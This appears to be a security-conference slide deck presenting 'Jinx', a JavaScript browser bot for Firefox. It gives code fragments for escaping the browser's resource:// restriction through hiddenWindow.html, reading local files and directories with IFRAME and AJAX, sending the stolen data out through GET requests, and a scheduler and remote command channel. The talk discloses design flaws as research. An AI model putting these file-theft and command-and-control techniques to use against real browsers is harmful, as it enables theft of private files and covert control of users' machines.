Jinx – Malware 2.0
We know it’s big, we measured it!

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This is how your browser looks like before Jinx has loaded ...
This is how your browser looks like after Jinx has loaded ...
Did you see the difference?

• The pixel on the 31337th row has changed from white to black... just kidding ;-)  

• Javascript by nature is **GUI-less** thus it will not alter the browser interface (unless you explicitly ask it to).
10 seconds on Javascript

• High level scripting language commonly used for client-side web development.
• “Natively” supported by Browsers, no need for additional components (e.g. ActiveX’s).
• Javascipts do not need any special security privileges prior to execution.
• Capable of using some of the hottest Web 2.0 features such as AJAX.
Exit Assembly, Enter Javascript

• Cross platform
  – Malware is oblivious to the underlaying OS.

• Architecture independent
  – Malware is oblivious of the CPU.

• Unified
  – Malware uses constant standard API.

• Comprehensive
  – Malware doesn’t need any external modules.
Sharpen Your Pencil and Take out a Clean Sheet of Paper.

No, this isn't a quiz, It's your first Javascript malware programming class!
Entry Point (Mozilla Design Flaw)

- **hiddenWindow.html**
  - The hidden window is similar to a regular window, but unlike any other window, it is available the whole time the application is running, but isn't visible to the user.

- **Paths**
  - %ProgramFiles%\Mozilla Firefox\res\hiddenWindow.html
  - /opt/firefox/res/hiddenWindow.html
  - /usr/share/iceweasel/res/hiddenWindow.html
Typical `hiddenWindow.html`

- Includes something like this:
  - `<html><head><title></title></head><body></body></html>`
- Document base URI is set to:
  - `resource://gre/res/hiddenWindow.html`
- Loaded only once (not per instance).
- Globally used (not per profile).
Welcome to **ChromeWindow**

- The Window object and initial scope of `hiddenWindow.html`
- A very restricted object, both in methods (read only properties) and in access to files.
- Not a very interesting place to be stuck in for a long time …
Escaping from `resource://`

- What changes a document restriction is the URL from which it was invoked.
- `hiddenWindow.html` can be invoked through different base URL ... `file:///`
- So if `hiddenWindow.html` is invoked through `file:///` URL it is basically free of `resource://` and is no longer considered to be a resident of Chrome.
Jailbreak Javascript Style

...<script>
    if (location.search) {
        alert("Hello World!\n");
    } else {
        location.href = "file://<path>/hiddenWindow.html?homefree";
    }
</script>
...

Javascript and Files

- After the jail break, we’re running from file:/// and as such we are capable of accessing files and reading their data.
- Files on the target computer and mapped share’s are accessible through file:/// URI
- Let’s start reading some files then …
Hello C:\BOOT.INI & IFRAME

- **IFRAME** allows us to open **BOOT.INI** through: `file:///C:/boot.ini`
- Since our document also originates from `file:///` we are completely bypassing the same origin policy enforcement.
- Works almost perfectly and is completely scalable.
Reading Files through IFRAME

...<iframe id="foobar" src="file:///C:/boot.ini"></iframe>
<script>
    alert(document.getElementById('foobar').contentDocument.body.innerHTML);
</script>
...

...
Problems with IFRAME

• Accessing the IFRAME content needs to be synchronous, as rendering takes time.
• When trying to access a FILE which has a registered URI (e.g. Word Document) instead of returning the .innerHTML, an application will be launched (e.g. Word).
• IFRAME is so 90’s ;-)

Exit IFRAME, Enter AJAX

• **AJAX** is not emotionally or mentally attached with URI’s, thus it won’t launch any associated applications.

• **AJAX** can be synchronous thus eliminating the waiting period.

• **AJAX** is a Web 2.0 pioneer.
DIR-a-like through AJAX

... 

<script>
var http = new XMLHttpRequest();
http.open("GET", "." ,false);
http.send(null);
</script>

...

...
Implementing `pwd()` through AJAX

```javascript
.. // Initialization of AJAX socket (as before)
http.responseText.substring(http.responseText.indexOf(' '),
  http.responseText.indexOf('
'));
</script>
```

...
= getHiddenWindowPath

- **AJAX** allow us to automatically locate `hiddenWindow.html` and thus we no longer require any “static” paths.
- Did we already mention that we’re cross platform? ;-)
AJAX’s addiction to text

- **AJAX** always assumes the data is **TEXT**, this is due to the default **charset** which doesn’t support binary/high ASCII values.
- Lucky this issue can be easily bypassed through overriding the default **charset** with something that supports high ASCII values.
Overriding **AJAX’s default charset**

```javascript
<script>
// assume AJAX socket is declared as ‘file’
file.overrideMimeType('text/plain; charset=x-user-defined');
file.send(null);
</script>

```
Let’s put the O in OUTPUT

• Data is coming in through **IFRAME** and/or **AJAX** but how does it go out?
• We can’t submit it through **FORM** as it would require us to leave the **file:///** document in favor of the **http://** document and a **http://** document can’t go back to **file:///** ...
• **AJAX** won’t allow us to do **POST** since we’re violating the same origin domain policy …
We’re simply going to **GET** it!

- **GET** supports up to 2k of data passed through **URL** (depend on the server).
- **IFRAME** partially ignores the same origin domain policy as it will perform the request but won’t let us peek in to the result.
- Simple **PHP** on the server side will quickly reassemble the data back into a single file.
When one (byte) becomes four

- **GET** doesn’t support binary characters, so how are we going to push it out?
- Encoding methods (ratio byte to byte):
  - BASE64 1:0.5..3 (e.g., YQ==)
  - ESCAPE 1:1||1:3 (e.g., A, %20)
  - HEX 1:2 (e.g. 41)
Keep it quiet (CPU Usage)

• Javascript was never really designed to work with so much buffers and allocated memory and it shows.

• A solution to this problem is to redesign the malware to be preemptive and instead of being linearly executed (blocking), it should be event driven, by pre-scheduled events (non-blocking).
setInterval() & document.hash

- Javascript supports an alarm()-like function that’s called `setInterval()`.
- Anchors (aka. hashes) can be set and changed without reloading the document, this could be a good place to store the states the malware is going through (State Machine 101)…
= Scheduler

...

<script>
if (self.jinx_id) { clearInterval(self.jinx_id); }
try { jinx_dispatch(); } catch (e) { ... }
self.jinx_id = setInterval('jinx_schd()', 1500);
</script>

...
= Dispatch

...

<script>
if (!location.hash) { location.hash = '#idle'; }
if (location.hash == '#idle') { ... }
if (location.hash == '#start_task') { ... }
</script>

...
Build me a framework ...

• Every $X$ seconds we’re invoking the scheduler function, which in turn calls the dispatch function.
• The calling of the dispatch function is wrapped by a try and catch clause to prevent errors from breaking the run cycle.
•Tasks can be queued and the queue can be changed on the fly.
From Malware to Bot

• Jinx will accept commands from a master (e.g. files to retrieve, result of queries) and obey.

• If we would like to load a document (through an IFRAME) we still couldn’t access it’s content due to the same domain policy …
<script> ?

- Funny as it may sound, there is no problem at all to use the src attribute in order to fetch a remote Javascript.
- I know, I know … but believe me, it works and we can directly load functions and variables from a remote site without violating any policies or triggering any alarms.
- But … this is BlackHat right?
*0DAY* (Design Flaw)

• CSS links are also protected by same origin policy, thus we can’t access elements in CSS directly (An exception will be raised).

• Legacy properties in DOM elements bypass this thus opening up 15 bytes that can be loaded from a remote CSS.
CSS-bypassing-same-origin-policy

...<script>
document.fgColor; // 3 bytes
document.bgColor // 3 bytes
document.alinkColor; // 3 bytes
document.linkColor; // 3 bytes
document.vlinkColor; // 3 bytes
</script>
...

...
What can be done with 15 bytes?

• 15 bytes are equal to 120 bits
• We can reserve 5 bits for an opcode, that leaves us with ~14 bytes for payload and 32 possible opcodes
• Since those bytes are represented by RGB there is no wrong or right (even NULL bytes are allowed to party!)
So?

• We have demonstrated that it is possible to create a fully functional bot using only Javascript.

• Please see the proof of concept and the supplied source code of our dearly beloved Jinx, a fully working Javascript malware.
The Future

• Using Google AJAX API to make malware that can search for it’s master website (eliminate the single point of failure)
• Exploiting different URI handlers to launch applications.
• Con people in to solving CAPTCHA through fake popup windows.
Links/References

• *Working with windows in chrome code*
Q&A

...
<script>
alert("Hello World!\n");
</script>
...
...
Thank you!